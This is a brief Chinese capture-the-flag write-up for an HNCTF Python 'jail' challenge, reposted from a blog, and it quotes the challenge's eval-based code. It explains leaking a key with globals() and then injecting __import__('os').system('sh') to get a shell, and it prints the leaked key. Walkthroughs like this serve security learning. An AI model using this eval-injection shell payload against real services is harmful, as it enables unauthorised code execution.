查看附件内容
这道题的逻辑就是可以让你输入1或者2，进入各自的函数去执行功能
func函数：
def func(): code = input(">") if(len(code)>9): return print("you're hacker!") try: print(eval(code)) except: pass 有长度限制，接着再来看backdoor函数： def backdoor(): print("Please enter the admin key") key = input(">") if(key == fake_key_var_in_the_local_but_real_in_the_remote): code = input(">") try: print(eval(code)) except: pass else: print("Nooo!!!!") 这里没有长度限制，但是得输入key，和设置的key进行对比，可以发现，这个key其实是全局变量，可以再func函数中输入globals()泄露全局变量的值，输入试试
这里已经打印出了key的值，然后在backdoor函数输入这个key，然后再输入__import__('os').system('sh')就可以getshell
key的值：a34af94e88aed5c34fb5ccfe08cd14ab
标签：code,函数,HNCTF,--,lake,key,print,全局变量
From： https://www.cnblogs.com/GGbomb/p/17819210.html